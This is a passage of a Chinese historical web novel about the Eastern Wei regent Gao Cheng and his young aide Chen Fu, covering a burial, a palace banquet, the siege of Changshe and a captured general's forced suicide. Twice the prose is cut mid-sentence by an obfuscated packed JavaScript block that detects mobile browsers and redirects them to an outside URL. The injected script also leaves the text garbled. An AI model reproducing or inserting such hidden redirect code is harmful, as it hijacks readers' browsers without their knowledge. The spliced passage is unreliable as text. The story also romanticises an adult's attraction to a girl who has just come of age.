她一身赤色袄裙,更显得这巴掌大的圆脸白嫩无暇,小小一点的嘴巴微张着,眼睛黑沉沉的,此刻蒙着水雾,愈发明亮。 用指腹为她拭去不断滚落的泪珠,笑意化作一声叹息,“不过是些哄人的小玩意儿,也值当哭成这样?” “这哪里是小玩意儿......” “好不好看?” “好看。” “既好看,”他微微俯身,用自己的额头轻轻贴了一下她的额头,“往后每年,给我家稚驹添一色。” “哪里做得出那许多颜色来......” “怎么不能?”他低笑,气息拂过她湿润的睫毛,“浅兰、深兰便算两色,鹅黄、姜黄再算两色,能凑出个百八十色——” 陈扶埋进他怀里。 僵硬了仅仅一息,他便也将人紧紧搂住。 怀中传来带着鼻音的喃喃,“我会保护你……我一定会保护好你……” 这早已深植于他心间的话语,此刻依旧带着那股能融化一切的赤诚,击中他的心。他将她更深地拥在怀里,抬手抚了抚她的发顶, “好孩子。” 鼻间萦绕着她发间淡淡的清香,他在心里轻笑,笑她到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16765151|185337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底还是个小女孩,原来喜欢灯笼烟火,笑自己以前不开窍,怎么不早些这么哄她。 怀里人被眼泪呛得闷咳一声。 他低下头哄道:“好了,不哭了。”带着笑意的命令落下,怀里的人儿渐歇,在他前襟上蹭了蹭。 从袖中摸索出一方丝帕,递到她脸前。 陈扶抬起朦胧泪眼,那帕角绣着幼鹿,她忙偏头躲开,“……会弄脏的。” 握着帕子的手微微一顿,终是收回了袖中,他将她重新按回怀里,由着那带着泪痕的脸颊贴在他胸前, “蹭吧。” - 暑气渐褪的初秋,车队在官道上蜿蜒如龙,高欢的梓宫在前,棺椁裹着素绫,由十六名壮士抬着。高浟、高演、高湛等随行诸王车驾在后。 中间那辆青帷安车里,高那耶正挨着陈扶聊天,芦花顺着掀起的车帘飘进,落在二人叠着的裙裾上。 “之前有个韩博士,见五兄的字不工整,打趣他说‘五郎书画如此,将来开了府可要闹笑话。’五兄当即答他‘昔日甘罗十二岁拜相时,谁考较过他字迹?世人论才具,岂在笔墨工夫?博士既自诩能者,何以未登三公之位?’” 陈扶笑叹:“当真虎父无犬子也。” 高那耶说罢高浟的事迹,又开始说高演,连说了小半刻,才停了嘴,趴到窗边看芦苇。“稚驹妹妹,你看那水鸟,飞得真低!”芦花飞白沾了她满袖,她转身便蹭了陈扶半身。 高澄从文书里抬起眼,探手拈起陈扶衣领的芦絮,抛往窗外。 “阿兄当真偏心!也不给我摘一摘,不知情的,还当稚驹才是你亲妹妹。” 高澄故意道:“她可比亲妹亲。” 高那耶哼了声,扭身面向窗外,不过半盏茶工夫又凑了过来,“阿兄,那个司马消难......究竟生得什么模样啊?” “丑得很。蒜头鼻,绿豆眼。” …… 一行在漳水西岸为高欢行了虚葬之礼,真正的灵柩,则被藏进了鼓山石窟深处。 崖壁上凿满佛龛,巨大的牛油烛燃烧着,火光跳跃,将人影拉得忽长忽短,扭曲地投在岩壁上,如同幢幢鬼影。 高欢的灵柩被放入穴眼。 工匠们陆续完活,见高澄一身素纨拦在窟口,齐刷刷跪伏在地,“回官家,灵柩已安置妥当。” 高澄“嗯”了一声,右手轻抬,亲卫齐齐上前一步,手按在腰间佩刀上。 陈扶的心猛地一沉。 工匠们反应过来这是要殉葬,皆痛哭流涕磕头求命。 “阿兄!”高那耶扑过来,双手攥住他抬起的手臂,“你要做什么?!他们把兄兄的陵修得这样周全......若是兄兄在天有灵,定不忍见他们丧命呐......” “他们知晓灵柩所在,留着,恐扰兄兄身后安宁。” 高那耶见说理不行,晃着他胳膊撒起娇来,“阿惠阿兄,好阿兄,求你了,饶了他们吧......” 陈扶也道,“杀生不祥,亦有损阴鸷。不如将其编入营构署,严加看管?” 高澄侧眸看她,耳侧高那耶还在一口一个“阿惠阿兄”地软磨硬泡,心忽然一动,脚下无声上前两步,将陈扶困在他与岩壁之间,“那你像那耶一样,叫我一声‘阿惠阿兄’。” 自六岁把她带在身边,她就一直唤他为‘大将军’,甚至极少唤‘世子’,可他们明明这样的无间,原应该更亲,甚至比与那耶更亲。 他的目光掠过她紧抿的唇,落在她泛红的耳尖上,喉结微滚,“叫了,就饶他们一命。” “稚驹不敢。” 跪在前排的工匠听到了二人私语,嘶着嗓子求告:“女官君救命呐!小的愿世代守陵,绝不敢泄半个字!”满窟工匠都跟着磕头哀求。 “刘桃——” “求阿惠哥哥......饶他们一命。” 高澄一怔,眼底掠过诧异。 “哥哥?这是什么叫法?” 他活了二十七年,只听过‘阿兄’‘兄长’,倒没听过这般称呼,像细羽毛轻轻扫过心尖,泛起陌生痒意。 “就是阿兄的意思。” 高澄又逼近半步,两人之间的距离瞬间近得呼吸可闻,他抬手以指背轻轻去触她微烫的耳尖,“好听得紧,再叫两声。” “阿惠哥哥。” 这一声比刚才更清晰,尾音微微上扬,四个字软乎乎的,痒得他连指尖都泛起麻意。他收回手,喉结滚了滚,看向刘桃枝,“赏他们每人五两银子,就依陈侍中所言,编入营构署,派专人严加看管——若有半分泄密,看管的人一并同罪!” - 抵达邺城的次日,高澄在朝会上呈上辞大丞相的表文。 魏帝端坐于龙椅之中,冕旒下的面容看不出喜怒,沉默片刻,方缓缓开口,“朝廷内外皆仰赖于你,社稷安危系于一身,断不可遂你辞让之心。” 东柏堂内,温子昇正立在案侧与陈扶核对,见高澄进门,忙躬身行礼,高澄看眼案上,高欢的生平简录陈扶已备好。 高澄解下朝冠递给刘桃枝,冲温子昇抬抬下巴,“大王的碑文你来执笔。”他走到案前,指尖拂过简录上‘邙山之战’字样,“碑文要记功,更要立威,让朝野看看,我高家的根基,是用血汗拼出来的。” 温子昇刚领命退下,崔季舒便来求见。 “相国离邺这两月,宫里的可好看了。”崔季舒端过刘桃枝奉上的茶,呷了一口,“陛下私下召见臣,竟拉着臣的手道,”崔季舒模仿着孝静帝的口吻,带着几分夸张,“‘崔卿,你便是朕之奶母也!’如此露骨之言,竟出自九五之尊之口,以此等俚俗之语示好拉拢,岂不可笑?” 高澄闻言,鄙夷道:“痴顽之症,竟还是如此。” 陈扶垂着眼,睫羽遮住眼底惊异,她没记错的话,孝静帝拉拢完崔季舒,就要发生‘天子莫走马’‘朕!朕!狗脚朕!’‘殴帝三拳’‘陛下何意反邪!’这些历史名场面了。 她和高澄相处得太好了,好到她都快要忘了,他除了是雄杰,还是史上‘最嚣张’权臣。 40.第40章 丝竹声悠悠荡荡,宫女轻轻摇着团扇,二十四岁的天子穿着黑色龙袍,腰背绷得笔直,紧抿唇角,空茫地望着殿中翩跹的舞姬。 高澄踞坐在御榻右下首的案后,姿态闲适,仿佛这里不是邺城皇宫,而是他晋阳霸府的内殿。 他偶尔举杯与身旁的勋贵将领谈笑两句,目光却扫着孝静帝,眼里没有丝毫臣子恭顺,倒似猫戏老鼠的玩味。 “陛下近日气色甚好,马术也精进不少啊。” 元善见猛地看向那张嚣张的脸。 几日前他去邺城东郊秋猎,不过纵马快了些,谁知那监卫都督乌那罗竟催马赶上,高声呼道:“天子勿走马!大将军要发怒了!” 元善见勒缰回头,将领们肩头微微耸动着,嘴角紧抿,显然在强忍笑意,那刘都督更是忍不住笑出声来,更远处,负责驱赶猎物的士卒部曲交换着意味深长的眼神。 他们的目光像针,密密麻麻刺在他身上,他不知该作何反应,只是把缰绳攥得吱吱作响。 而那乌那罗,事后不仅没有得到惩罚,还得了高澄重赏,至此,便总有人跳出来,对他进行微妙的挑衅,以向高澄展示自己的忠诚和‘能干’。 夜风丝溜溜从窗缝吹进,乳白檀烟偏了轨迹,元善见咬着牙笑了笑,“不过偶得闲暇,略作消遣罢了。” 高澄意味深长地“哦”了声,“陛下万金之躯,还是应当保重才是。” 陈扶隐在高澄影子里,手中捧着壶温酒,目光在众人脸上游移。 不少人在窃笑,那笑是讨好的、是谄媚的、是看向高澄的,崔季舒笑说着‘陛下海量’,将酒樽递过去,众臣见之,也效法向孝静帝劝酒。 高澄默许甚至欣赏着这一幕,这是他权力无远弗届的证明,全然无觉元善见已像一张被拉满的弓,即将崩断。 他点点案上玉樽,“倒满,我去敬咱们陛下一杯。” 这杯‘敬’出去,只怕她就要亲见‘帝不胜其忿,澄勃然大怒,朕,朕,狗脚朕!殴帝三拳’的名场面了。 陈扶发出一声抽气,酒壶‘咚’地搁在案上,高澄目光瞬时扫过来,见她眉头蹙着,手捂住了上腹蜷缩起来,忙俯身凑近,“怎么了?是腹痛么?” “稚驹想......想更衣。” 看他要冲宫人招手,陈扶拽住他袖角,凑他耳边,“听闻宫中夜里闹鬼,稚驹...... 稚驹不敢和宫人去。” 高澄愣了愣,低笑一声,也不顾殿中众人瞥来的目光,扶着陈扶胳膊起身,携她出了殿外。 夜风透骨,吹得衣衫翻飞,宫灯昏昏沉沉,婆娑树影投在青石板路上,像张牙舞爪的鬼影。 “偏要贪嘴尝那口冷蟹,好了吧?”高澄把个人揽着,用手背探了探她的额头,“没事,去过应就好了。” 路过一处僻静转角,宫道两侧栽着茂密宫槐,陈扶停下脚步,拽了拽高澄的胳膊,将他往树下拉。 后背抵上粗糙树干,他戏谑地盯看眼前人,笑问:“怎么?坚持不住了?竟要躲在这里解决?” “?!” 高澄收了玩笑心思,语气放柔,“到底怎么了?方才不是还说难受,怎又拉我躲在这里?” “相国,我想和你聊聊天。” 高澄真有些莫名,好好的暖融宫殿里不聊,偏要躲在这阴冷树下聊天。可看她神情格外认真,又想起她方才难受的模样,虽是装得,仍泛起丝心疼,终究是舍不得拂她的意。 他解下外袍,那袍子带着他身上淡淡的降真香和热热的体温,裹在陈扶身上,仔细拢好领口,微微俯身,凝视着她,“想聊什么?” “三公子洗三礼时,先王曾和相国说过,‘刀,要藏在袖子里’,相国还记得么?” 他挑了挑眉,“小东西,我不在意身后名。”他要的是实打实的权柄,至于史书上怎么写他,他从来不在乎。 “这不止涉及身后名,更涉及身前功。”她侧头望向大殿方向,“稚驹幼时,曾极爱阿母妆匣里一枚玉环,每每把玩,总是小心翼翼,因为知道它最终会是我的,所以不能弄坏了它。” “你的意思是,元善见是那玉?” “稚驹想劝相国不要弄坏的,从来不是什么元善见,是终将归你的皇权啊。昔日王莽谦恭,曹丕以‘尧舜’为表,尊的也不是傀儡皇帝,而是终将到手的天命!” “崔季舒等人肆无忌惮践踏皇权,真是忠心么?” 高澄怎会不懂,崔季舒劝陛下酒,乌那罗踩着皇帝的脸,本质皆是为了能在他麾下更进一步罢了,谈不上忠不忠心。 而他的稚驹,素来最会说话,若想讨巧不知有多少好话可说,何苦拉他躲在这阴冷树下,说这些 ‘讨嫌’的话? 还不是为了他。 “我家稚驹都这么大了,整日不琢磨胭脂水粉,倒把王莽琢磨个透。”他说着,将人抱在怀里暖着,下巴抵着她小脑袋,声音带着闷笑,“那小王猛觉着,我该如何?” 他虽无半分正经模样,但既然问她,就是听进去了,陈扶心下一松,柔声道:“待会儿回去啊,相国不若亲自执壶,为陛下斟一杯茶,道句‘他们兴致太过扰了驾,陛下勿萦圣怀。陛下劳顿,臣观圣颜倦怠,心实不安,不如宴席就此散去。’既为崔季舒等找了理由,也给了皇帝台阶。” 他的稚驹总能如此,把他没细想的隐患点破,再递上最妥帖的解决之法,他笑笑,逗她道,“叫声阿惠哥哥听听,便听你的。” “阿惠哥哥就听你兄兄的话,把刀藏在袖子里,好嘛?” 高澄被她哄得心头发痒,笑叹,“好,就听我家稚驹的。”松开怀抱,却不肯放她的手,拉着人出了树丛,两人并肩往大殿走,宫灯的光将那交叠的影拉长。 自宫宴‘藏刀’之后,高澄对元善见的态度有所收敛,虽还是压迫,但不再公然折辱,没有了‘狗脚朕’和‘殴帝三拳’,元善见虽仍噤若寒蝉,却不至于羞愤欲绝,也就没了与常侍荀济、王大器、元瑾等人密谋的‘陛下何故谋反’。 但陈扶并未掉以轻心。 她令阿兄陈善藏提了句‘荀济等人近日与宗室王大器、元瑾过从甚密’,高澄本就对这些忠于魏室的旧臣提防,闻言便下令高浚将荀济、元瑾等人暗中监看起来,不囚不押,却如一张无形的网,将潜在的祸端牢牢罩住。 东柏堂内,熏炉里降真香笔直燃着,案几上铺着一幅舆图,高澄眉峰微蹙,目光落在舆图北方的柔然疆域上。 “草原蛮夷,见利忘义,阿那瓌这老狐狸,一边派使者贺蠕蠕公主之喜,一边又暗通宇文泰,两头下注。” 陈扶伸出指尖,越过柔然,点在了西北的‘突厥’上,“稚驹观之,比起反复无常的柔然,更该西连突厥。” 高澄抬眼,目光讶异,“突厥?不是柔然的炼铁奴么?” “去年突厥合并铁勒部五万馀落,其炼铁之技本就精湛,如今又添了五万户丁壮,兵甲粮草日渐充盈,早已不是任柔然驱使的小部落了。突厥可汗阿史那土门,绝非甘居人下之辈,去年求婚柔然遭辱,遂杀其使绝交,又遣使通好西魏,已获宇文泰联姻许诺。” “我们最好能在他和西贼结成婚姻前,先与其通好。”她指尖滑动,划出一条清晰的路线,“若能与突厥结盟,未来或可重现当年赵武灵王攻秦之策:从九原穿越河套,取夏州、灵州,直抵咸阳。完全避开贼国在潼关、蒲坂的主要防线。” 高澄知道陈扶善军政,却没想到她对草原各部的动向如此了解,不由赞道,“你倒看得深远。只是,派谁去游说合适呢?” “和安。” “仪州刺史和安?他虽会蛮语,却素来贪图享乐,能担此重任?” “和安家族本是胡商,常年往来于中原与草原之间,为人灵活,尤善谄媚逢迎,最合游说草原首领。可给予他活动经费,令其许以突厥可汗日后共分贼国土地、人口之利。土门野心勃勃,西取比东进对他更为便利,定会考虑。” 她顿了顿,补充道:“和安儿子和士开在国子学求学,不怕他一去不返。再者,和安本就贪图中原的繁华富贵,断无叛逃之理。” “稚驹想得周全。”高澄朗声笑了笑,“既如此,这次回晋阳,便绕道仪州见见他。” 两人正商议联络突厥细节,一斥候风尘仆仆闯入,递上军报——高岳堤坝已筑好,随时可以决水灌城。 - 长社城北墙塌了三日了。 浊浪拍打着断壁残垣,到处都是积水,无立足之地。城里没有盐吃,人人痉挛、浮肿,死了十之八九。 王思政靴底陷进半尺深的湿泥里,长枪拄在地上,枪杆上漆皮早已剥落,像极了他此刻的兵力。 当初进入颍川时,手下荆州步骑一万余,如今剩下两千不到,他们没有一个叛变,全部战死了。但那些长社百姓,也没有叛变东贼的,就像当年他的玉璧城百姓一样…… “将军,滚木擂石用尽了。东贼的营盘又往前挪了半里,帐外的‘高’字旗,都能看清旗角的金线了。” 王思政咬着牙,沙嗄吼叫:“军曹,吹号角!我们冲出去!” …… 王思政立于东贼堆起的土山斜坡上,木椿,沙袋,石块,粘土,在残破的木栅栏缺口杂乱堆着。 山下东贼丞相高澄十万雄兵云屯雨集,篷帐缀遍了土坡,数不清的‘高’字旗在风中鼓荡,密密猛猛的火光。 他忽想起入颍川那日,阳光正好,将士们盔明甲亮,他刚对宇文泰断言:“若不趁机进取,必将后悔莫及。” “将军,东贼又在喊降了!说……说生擒将军的封侯、重赏;若将军有损,左右都得死!” 冷风迎面吹来,下起了雨,心中壮志如手中火把,被冷雨浇着,渐渐轻下去,轻下去,终于熄灭了。 “我肩负国家重任,本欲讨贼立功,如今兵尽粮绝,无计可施……” 他仰天大哭,战马跟着呜呜悲啸,兵士皆哭起来。 忽得,他抽出腰间佩剑,寒光映着浮肿的白脸,“唯有一死以报朝廷!”左右见状,齐齐扑上来,死死抱住他的手臂。 都督骆训撕心道:“将军常对我们说,‘携我头出降,能全一城人性命’!如今那高澄有令‘大将军有伤,左右皆死’,将军难道要让这两千弟兄,都陪葬吗?” 冷雨砸在剑上,溅起的水珠落进眼里,涩得他睁不开眼。 长啸一声,佩剑当啷落地,插进泥里。 土山下传来脚步声,一名身着东魏官服的男子爬了上来,手中捧着一把白羽扇,身后跟着两名甲士。 “王将军,在下通直散骑常侍赵彦深,奉大相国之命,特来相请。”说着,上前一步扶住他的手臂。 王思政被他半扶半拉地带下山,穿过东魏军营,走进一座大帐。 帐内烛火通明,虎皮毯铺地,席上跽坐着一肩甲紫袍的俊美男子,他腰略向前俯,左肘撑着膝盖,薄唇微微勾着,凤目里跳着焰焰火花。 王思政昂首而立,言辞激昂:“我乃大魏之将,岂能降贼!来此只为求死,并请高相放我兵士性命!” 高澄缓缓起身,渡步到他面前,拉起他的手握住道:“澄素慕王将军之才,将军之忠勇,澄亦敬佩。若肯归降,必以高官厚禄礼待重用。” 他正要拒绝,一道纤细身影从高澄身侧走出。王思政定睛看去,不由一愣,竟是个身着参军袍的小女郎,一张娃娃脸肤白胜雪,眼仁黑亮,看着不过豆蔻年纪。 “王将军虽为良将,然却非明哲之士耳。” 她带着浅浅笑意,凑前一步,“你家主上可要发兵救侯景了?将军倒好,自行发兵勾连侯景,逼得他不得不派李弼来援。结果呢?李弼无功而返,你家主上也被侯景一封书信羞辱。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“原来如此,”陈扶故作恍然,语气满是敬佩,“相国礼待王将军,乃是为日后不战而胜,是要告之天下,归我大魏必受厚待,他日必有更多豪杰献城归降。方才是稚驹眼浅,逞那一时意气了。” 众将闻听,不平之气烟消云散,纷纷抱拳道:“相国深谋远虑,我等不及也!” 高澄与陈扶相视一瞬,默契无需多言,一红一白,一唱一和,既敲碎了王思政心理防线,又稳住了自家军心,还全了高澄贤名。 帐外传来斥候急声,“报——!” 高澄接过,展牒一扫,快意抑制不住地浮上眉梢。 “司马世云以五千铁骑降了慕容将军!侯景突围溃败,逃往南梁寿阳,河南之地收复!” 帐内瞬间沸腾。 卢潜大笑:“好!太好了!侯景这逆贼,终成丧家之犬了!”众将欢呼雀跃间,陈扶笑道:“连连大胜,生擒南梁、西贼大将!此乃天意要助相国平定天下也!” 诸将听此,皆道正是此理! 高澄眸色一亮,这丫头把胜仗拔高到‘天命’,当真远虑,刚想把人揽过夸赞,却瞥见她的男式裤褶,后幅竟洇出一片斑驳嫣红,在麻色布料上格外刺眼。 一瞬错愕,心头骤然一明。 面上不动声色,解下披风走到她身后,披至肩头将人一裹,抬眼看向帐内正兴奋的众将,“诸位将军暂且退下,军事明日再议。刘桃枝,守在帐外,任何人不许进来,违者军法处置!” 众将虽不知发生何事,但见高澄神色肃然,也不敢多问,纷纷躬身退下,帐门 “呼啦” 合上,将外界彻底隔绝。 陈扶转过身,“?” 高澄把人拢在怀里,附耳轻问,“稚驹猜猜,我在想什么?” “相国可是已在盘算,抓住萧衍纵溺亲族,假慈假悲之弱点,以书信和人质萧渊明佯装要换侯景,挑起萧衍与侯景的内讧,祸水南引?” 高澄不由一笑,“原来我在你眼里,竟这般厉害?”忽又慨叹,“往后打仗,还是不带稚驹来了。” 陈扶一愣,“稚驹可是……说错话了?” 高澄拉过她的手,带着她摸了下裤褶,伸她眼前。 陈扶方才就觉肚子酸疼,见手指沾了些微血迹,立时知晓,脸颊霎时滚烫。 高澄取出帕巾给她擦手指,哄着,“别怕,就像草木到了时节便会开花,我家稚驹只是长大了。”他神色从容,没有半分嫌弃,半分异样,仿佛只是在说一件再寻常不过的小事。 陈扶羞耻渐淡了些,小声道:“稚驹知道了。” “刘桃枝!” 帐外之人应声而入,高澄沉声吩咐:“速去附近村落寻两名干净仆妇,搜罗最好的细布、麻布来,再备两桶干净热水,将陈侍中的行装取来。”想了想,又道,“经手的人皆需净手!” 刘桃枝领命而去,高澄拉着她引至里帐榻边,将她按坐在厚锦茵里,转身出了里帐,没一会儿便抱了捆干柴进来,添进帐角的火盆里。 他在她对面坐下,看着她,她看起来那么乖巧,却又似多了几分女子独有的羞怯柔弱,微妙异样掠过心头,像指尖划过丝绸时的一丝轻颤。 “不过几日便会过去,这几日莫要沾凉水,大帐暖和,就在这里歇着,我让人把吃食送来。等会儿仆妇来了,让她们帮你处置,往后便懂了。” 陈扶点点头。 帐外传来刘桃枝声音,高澄起身掀开帐帘,让刘桃枝将温水、布料及她的行装放至外帐,又让两名仆妇进来,“好生伺候,仔细些。”二人皆是本分村妇,得了赏金,又见高澄气势摄人,连忙躬身应诺。 高澄走出帐篷,顺手将帐门掩好。 夜色渐深,被洪水漫过的城郭在暮色里泛着湿冷的光,借着军营里的灯火,高澄看向尚有淡淡血痕的指尖,她是他高澄的人,今日既共历天真长成,往后,他要护着的,便不再仅是她的安危…… 他这般想着,目光愈发柔和起来。 41.第41章 高澄自长社归返后,将王思政两千部众打散,遣往边地远戍,断了聚众滋事的可能;颍州更名为郑州,而王思政本人,得了超乎寻常的礼遇,府第、衣食皆按上宾规格,却暂未给予实职。 司马世云归降后战死沙场,借着这份战死体面,高澄请奏赦免了他三个弟弟的死罪,仅流放到偏远郡县。 侯景被慕容绍宗打退时,曾佯装要依附西魏的防主韦祐,大将裴宽随韦祐进军颍川接应侯景,谁知侯景弃二人南逃,趁寿春梁军换防的空当,强行占领了寿春。 梁帝萧衍非但没追究,反而任命侯景为寿春太守,把寿春作为侯景的安身之地。 高澄以先前被俘的梁军主帅、萧衍侄子萧渊明为人质,与萧衍通信修好,萧衍念及侄儿,欣然应允,南北信使往来不绝,急得侯景如热锅上的蚂蚁,数度上书萧衍反对两国修好,奈何他已被萧衍视作丧家之犬,并未过多理会。 次年三月,一封假冒高澄笔迹的书信递到萧衍案前,声称要以萧渊明换侯景。老迈的梁帝未曾细辨,一口应下。令行台郎王伟写假信试探的侯景截断回信,看后大怒,开始策划叛变。 同月,高澄亲率大军南下洛阳,欲生擒尚在颍川驻军的西魏大将裴宽。 他催马而行,望着远处连绵城郭,忽开口问身侧陈元康道:“侯景麾下那行台郎王伟,何许人也?竟能模仿孤之信件。” “王伟乃侯景心腹,文笔卓绝,更兼多谋,侯景诸多谋划,皆出自他手。” 高澄眼底闪过一丝惋惜,“伟既有此才,何以孤竟不知晓?” 陈扶闻言,问陈元康道:“阿耶,你与侯景麾下副将王贵,是否有过联络?” 陈元康一愣,显然没料到女儿还记着此人,“自你九岁那年,阿耶替你还了他那十金后,便一直有书信往来。前月这王贵还曾隐晦提及归降之意,只是他不过一小小都督,无甚分量,我便未曾回复。” “王伟智计过人,应深知侯景难成大事。阿耶若使王贵从中斡旋,再加之以利,想来不难说动。” 高澄闻言,那点惋惜立时化作笑意,“长猷即刻修书,令其劝降王伟,就说孤承诺,二人若一同归降,孤必厚待之。” 说罢看向桃花马上的少女,她穿着银装两裆甲,看着像个小将军,他眼底笑意更深,“若非我家稚驹,孤岂非错失一大才也?” 大军行至河阴,传来军报,裴宽与我方彭乐、乐恂在新城交战,被彭乐生擒。 两日后,裴宽被押至高澄的中军大帐,看他绳索缚身,却眉目沉静,高澄近前道,“你三代为官,才识高远,关中贫瘠狭隘,何以依附?安心留在孤这里,孤必使你富贵。” 令都督解开他绳索,安置在河阴城西馆舍。 馆舍内陈设雅致,有软榻、书案,甚至备了上好的茶茗。裴宽坐在案前凝思,留下不一定会被重要,然若能逃回西魏,凭借此番被俘不屈之经历,必得宇文泰重用。 下定决心后,裴宽将毡子剪成布条捆成绳索,一端系在窗棂上,另一端垂到楼下,顺着绳索缒了下去,没多久就逃出了城。 刚要庆幸,却见一队黑衣兵士拦在道前,显然早已等候多时,最中间的,是一身绛衫黑裤褶、腰间佩剑的少女。 裴宽浑身一僵,他没想到会被人拦下,更没想到拦下他的,竟会是那个在高澄身侧,看似稚嫩无害的小女官。 她缓缓抽出剑,‘哐当’一声,扔在裴宽脚下。 “遂将军的愿,”那孩儿面挂上浅浅笑意,眼神里却是一片冷寂,“殉国吧。” “我……我乃大魏臣子,岂肯降贼?” “贼?颍川是我大魏土地,究竟谁是贼?”她指指地上的剑,“裴将军所答,实非我所问。望你受降的是我家那位爱惜人才的相国,我方才说得,是让你殉国。” 裴宽心一凉,妄负此身雄才的恐惧瞬间淹没了他。他逃走,不是为了殉国,是为了逃回去,再建更高功勋啊。 “怎么?难道将军背弃相国厚意之时,竟未抱必死之决心?” 裴宽脸色瞬间通红,他颤着手去捡地上的剑,可指尖刚触到剑柄,便又看向她,似还想说什么。 她缓缓抬起手。 亲兵们拔刀上前,形成合围之势,目光冰冷地盯着裴宽。 裴宽终于绝望地闭上了眼睛,抓起剑猛地横在颈间,剑刃划过喉咙的瞬间,他想的不是什么壮士殉国,而是壮志未酬身先死,是关中那碗还没喝完的、带着涩味的土酒。 陈扶对亲兵道:“处理干净,对外只说裴宽趁夜逃走,若有人敢吐露一字,下场如他!” “是。” 亲兵们齐声应诺。 戒严的河阴城静得骇人,只有风声掠过屋檐。 高澄倚着朱红廊柱,未着甲胄,披一件玄色大氅,仿佛已与这浓稠的夜色融为一体。 一行走进院中,他直起身子,挥退亲卫,看向陈扶。 她的黑裤褶下摆沾了几点深红,在清冷月色下并不显眼,偏他一眼就看见了,他将她的手放进掌心,摩挲着她的指尖,想要把那点寒凉焐热。 陈扶轻声道:“事已办妥。” 高澄俯下身,额头几乎与她的相抵,“都是孤的业力。是孤要杀他,稚驹不过是接了孤的命令,不得不为之。” 陈扶攥住他的手,抬头望进他眼睛,“人生在世,何人无业?稚驹是自愿的,只要能帮到相国。” 六岁时,她辩服南使,他问她想要什么赏,她也是这般用小手反握住他,无比真诚地望进他眼眸,对他说‘让稚驹帮你’。 高澄的心,再次被这手紧紧攥住了。 他久久凝视着她,忽得,唇落在她的额上,轻柔得像羽毛。吻落之后,他没有抬头,反更低下去,鼻尖几乎碰到她的鼻尖,气息缠着她的气息。目光从她沾了夜露的睫毛,黑亮的眼睛,滑落到她抿紧的、失了血色的唇上。 一股莫名冲动涌上心头,他入了迷般,缓缓凑近。 陈扶睫毛一颤,极轻、极快地偏头,将脸埋向他肩膀,闷声道:“相国,这是稚驹分内之事,既食君禄,当为君忧,无须额外之奖赏,亦或补偿。” 高澄喉结滚动,最终只是发出一声极轻的、意味不明的叹笑。他揽住怀中人,用大氅将她纤细的身躯严实地裹住,二人在月光下紧紧相拥,像两株相互依偎又无法交融的藤蔓。 净瓶将熏好的里衣仔细叠好,眼角忍不住又一次瞟向窗外。 方才庭前月下,她可是看得分明。相国那般低下头去,分明就是想亲仙主的嘴儿!这念头让她心头怦怦直跳。她未历过男子,却也知男女之事,相国那般眼神,她看百戏时见过,是男子对心爱女子才有的专注与渴望。 想起此番随军,就是相国特意点名,要她跟着仔细伺候仙主起居。 在晋阳时,她更是见识过,仙主随口赞句胡商的琉璃盏剔透,隔日,便有一对流光溢彩的琉璃瓶送到别居;更别提仙主生辰那半刻的灯笼烟火,只怕要提前一月预备,那夜的丝竹声,连她这个不懂音律的听了都觉得仙音袅袅,久久难忘。 她正神游天外,帐帘轻响,是陈扶回来了,带着一身清冷的夜露气息。 净瓶连忙上前,接过她的佩剑,忍不住道,“方才在廊下,相国他可是想亲仙主?” 陈扶走到铜盆前,慢条斯理地净手,并未回答。 “相国待仙主真的不一样……奴婢瞧他,怕是心悦仙主。” 陈扶在朦胧水汽里笑了笑,“净瓶,人的悲剧,往往是从以为自己是例外开始的。” “以奴婢看,他对仙主够例外了!”她凑近些,好奇地笑问,“仙主为何躲开呐?当真就……一点也不动心?” 她实在难以想象,面对那样一位权势滔天、又肯如此宠爱的男子,怎会有人能全然无动于衷。老实讲,若只是甘露的待遇,她是不会动心,但要是相国像对仙主一般对她,她还真不一定扛得住。 陈扶拿起细棉布巾,细细擦干指尖每一滴水渍,脸依旧是笑着的。 “动不动心,并不重要。” 第二天,东魏大丞相高澄勃然大怒,裴宽辜负厚恩,竟连夜逃走。他痛心疾首,对左右感叹:“我待裴宽如此之厚,奈何其心不在我。”消息传开,天下人皆道高澄仁厚,对降将如此,当真仁至义尽了。 高澄自洛阳班师,取道太行返回晋阳。 一路之上,他写下书信百封,分赠百官,字里行间皆是戒励之意,朝野上下,莫不震肃。 回到晋阳后,他更是雷厉风行,推行一系列新政: 命朝臣牧宰举荐贤良骁武之士,不拘出身,唯才是举;对昔日旧勋未获封赏者,尽数补赠;天平元年以来因公殉职者,恢复其本资;严禁豪贵之家侵占山泽,兵士战死沙场者,免征其家租课;隐匿山林的有识之士,以礼相邀,随才擢用;罢黜冗余的营构之官,对怠惰不勤的官员,一律罢官,而清正干练者,越级提拔,不拘常式。 六月,高澄巡北边城戍,赈赐有差。 七月,高澄朝邺,请奏长乐郡公高浟为沧州刺史,徐显秀为徐州刺史等,做了一系列人事调整。 并下令监管永安五铢钱,要求‘重如其文’,每百钱重一斤四两二十铢,州镇郡县的市集,皆置标准秤悬于市门,私用秤具皆需依此校准。 七月十五 皇家华林园内,碧水环绕,嘉木成荫。 高澄位列首席,一身玄端礼服,含笑注视着礼台,陈扶身着采衣采履,跪坐于锦垫之上,墨发如瀑垂于身后。 赞者冯翊公主上前,为她梳头。 而为她及笄的,是高澄的亲妹、孝静帝的高皇后。 皇后身着祎衣,头戴九龙四凤冠,亲手将陈扶的秀发绾成髻,用纚仔细包住,自侍者手中的漆盘里,取过那支通体无瑕的羊脂玉钗,插入陈扶发髻之中。 